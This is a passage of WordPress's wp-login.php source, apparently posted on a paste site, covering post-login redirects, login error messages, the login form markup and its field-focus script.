  826. */
  827. $redirect_to = apply_filters( 'login_redirect', $redirect_to, $requested_redirect_to, $user );
  828.  
  829. if ( !is_wp_error($user) && !$reauth ) {
  830. if ( $interim_login ) {
  831. $message = '<p class="message">' . __('You have logged in successfully.') . '</p>';
  832. $interim_login = 'success';
  833. login_header( '', $message ); ?>
  834. </div>
  835. <?php
  836. /** This action is documented in wp-login.php */
  837. do_action( 'login_footer' ); ?>
  838. <?php if ( $customize_login ) : ?>
  839. <script type="text/javascript">setTimeout( function(){ new wp.customize.Messenger({ url: '<?php echo wp_customize_url(); ?>', channel: 'login' }).send('login') }, 1000 );</script>
  840. <?php endif; ?>
  841. </body></html>
  842. <?php exit;
  843. }
  844.  
  845. if ( ( empty( $redirect_to ) || $redirect_to == 'wp-admin/' || $redirect_to == admin_url() ) ) {
  846. // If the user doesn't belong to a blog, send them to user admin. If the user can't edit posts, send them to their profile.
  847. if ( is_multisite() && !get_active_blog_for_user($user->ID) && !is_super_admin( $user->ID ) )
  848. $redirect_to = user_admin_url();
  849. elseif ( is_multisite() && !$user->has_cap('read') )
  850. $redirect_to = get_dashboard_url( $user->ID );
  851. elseif ( !$user->has_cap('edit_posts') )
  852. $redirect_to = $user->has_cap( 'read' ) ? admin_url( 'profile.php' ) : home_url();
  853.  
  854. wp_redirect( $redirect_to );
  855. exit();
  856. }
  857. wp_safe_redirect($redirect_to);
  858. exit();
  859. }
  860.  
  861. $errors = $user;
  862. // Clear errors if loggedout is set.
  863. if ( !empty($_GET['loggedout']) || $reauth )
  864. $errors = new WP_Error();
  865.  
  866. if ( $interim_login ) {
  867. if ( ! $errors->get_error_code() )
  868. $errors->add( 'expired', __( 'Your session has expired. Please log in to continue where you left off.' ), 'message' );
  869. } else {
  870. // Some parts of this script use the main login form to display a message
  871. if ( isset($_GET['loggedout']) && true == $_GET['loggedout'] )
  872. $errors->add('loggedout', __('You are now logged out.'), 'message');
  873. elseif ( isset($_GET['registration']) && 'disabled' == $_GET['registration'] )
  874. $errors->add('registerdisabled', __('User registration is currently not allowed.'));
  875. elseif ( isset($_GET['checkemail']) && 'confirm' == $_GET['checkemail'] )
  876. $errors->add('confirm', __('Check your email for the confirmation link.'), 'message');
  877. elseif ( isset($_GET['checkemail']) && 'newpass' == $_GET['checkemail'] )
  878. $errors->add('newpass', __('Check your email for your new password.'), 'message');
  879. elseif ( isset($_GET['checkemail']) && 'registered' == $_GET['checkemail'] )
  880. $errors->add('registered', __('Registration complete. Please check your email.'), 'message');
  881. elseif ( strpos( $redirect_to, 'about.php?updated' ) )
  882. $errors->add('updated', __( '<strong>You have successfully updated WordPress!</strong> Please log back in to see what&#8217;s new.' ), 'message' );
  883. }
  884.  
  885. /**
  886. * Filters the login page errors.
  887. *
  888. * @since 3.6.0
  889. *
  890. * @param object $errors WP Error object.
  891. * @param string $redirect_to Redirect destination URL.
  892. */
  893. $errors = apply_filters( 'wp_login_errors', $errors, $redirect_to );
  894.  
  895. // Clear any stale cookies.
  896. if ( $reauth )
  897. wp_clear_auth_cookie();
  898.  
  899. login_header(__('Log In'), '', $errors);
  900.  
  901. if ( isset($_POST['log']) )
  902. $user_login = ( 'incorrect_password' == $errors->get_error_code() || 'empty_password' == $errors->get_error_code() ) ? esc_attr(wp_unslash($_POST['log'])) : '';
  903. $rememberme = ! empty( $_POST['rememberme'] );
  904.  
  905. if ( ! empty( $errors->errors ) ) {
  906. $aria_describedby_error = ' aria-describedby="login_error"';
  907. } else {
  908. $aria_describedby_error = '';
  909. }
  910. ?>
  911.  
  912. <form name="loginform" id="loginform" action="<?php echo esc_url( site_url( 'wp-login.php', 'login_post' ) ); ?>" method="post">
  913. <p>
  914. <label for="user_login"><?php _e( 'Username or Email Address' ); ?><br />
  915. <input type="text" name="log" id="user_login"<?php echo $aria_describedby_error; ?> class="input" value="<?php echo esc_attr( $user_login ); ?>" size="20" /></label>
  916. </p>
  917. <p>
  918. <label for="user_pass"><?php _e( 'Password' ); ?><br />
  919. <input type="password" name="pwd" id="user_pass"<?php echo $aria_describedby_error; ?> class="input" value="" size="20" /></label>
  920. </p>
  921. <?php
  922. /**
  923. * Fires following the 'Password' field in the login form.
  924. *
  925. * @since 2.1.0
  926. */
  927. do_action( 'login_form' );
  928. ?>
  929. <p class="forgetmenot"><label for="rememberme"><input name="rememberme" type="checkbox" id="rememberme" value="forever" <?php checked( $rememberme ); ?> /> <?php esc_html_e( 'Remember Me' ); ?></label></p>
  930. <p class="submit">
  931. <input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e('Log In'); ?>" />
  932. <?php if ( $interim_login ) { ?>
  933. <input type="hidden" name="interim-login" value="1" />
  934. <?php } else { ?>
  935. <input type="hidden" name="redirect_to" value="<?php echo esc_attr($redirect_to); ?>" />
  936. <?php } ?>
  937. <?php if ( $customize_login ) : ?>
  938. <input type="hidden" name="customize-login" value="1" />
  939. <?php endif; ?>
  940. <input type="hidden" name="testcookie" value="1" />
  941. </p>
  942. </form>
  943.  
  944. <?php if ( ! $interim_login ) { ?>
  945. <p id="nav">
  946. <?php if ( ! isset( $_GET['checkemail'] ) || ! in_array( $_GET['checkemail'], array( 'confirm', 'newpass' ) ) ) :
  947. if ( get_option( 'users_can_register' ) ) :
  948. $registration_url = sprintf( '<a href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) );
  949.  
  950. /** This filter is documented in wp-includes/general-template.php */
  951. echo apply_filters( 'register', $registration_url ) . ' | ';
  952. endif;
  953. ?>
  954. <a href="<?php echo esc_url( wp_lostpassword_url() ); ?>"><?php _e( 'Lost your password?' ); ?></a>
  955. <?php endif; ?>
  956. </p>
  957. <?php } ?>
  958.  
  959. <script type="text/javascript">
  960. function wp_attempt_focus(){
  961. setTimeout( function(){ try{
  962. <?php if ( $user_login ) { ?>
  963. d = document.getElementById('user_pass');
  964. d.value = '';
  965. <?php } else { ?>
  966. d = document.getElementById('user_login');
  967. <?php if ( 'invalid_username' == $errors->get_error_code() ) { ?>
  968. if( d.value != '' )
  969. d.value = '';
  970. <?php
  971. }
  972. }?>
  973. d.focus();
  974. d.select();
  975. } catch(e){}
  976. }, 200);
  977. }
  978.  
  979. <?php if ( !$error ) { ?>
  980. wp_attempt_focus();
  981. <?php } ?>
  982. if(typeof wpOnload=='function')wpOnload();
  983. <?php if ( $interim_login ) { ?>
  984. (function(){
  985. try {
  986. var i, links = document.getElementsByTagName('a');
  987. for ( i in links ) {
  988. if ( links[i].href )
  989. links[i].target = '_blank';
  990. }
  991. } catch(e){}
  992. }());
  993. <?php } ?>
  994. </script>
  995.  
  996. <?php
  997. login_footer();
  998. break;
  999. } // end action switch
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement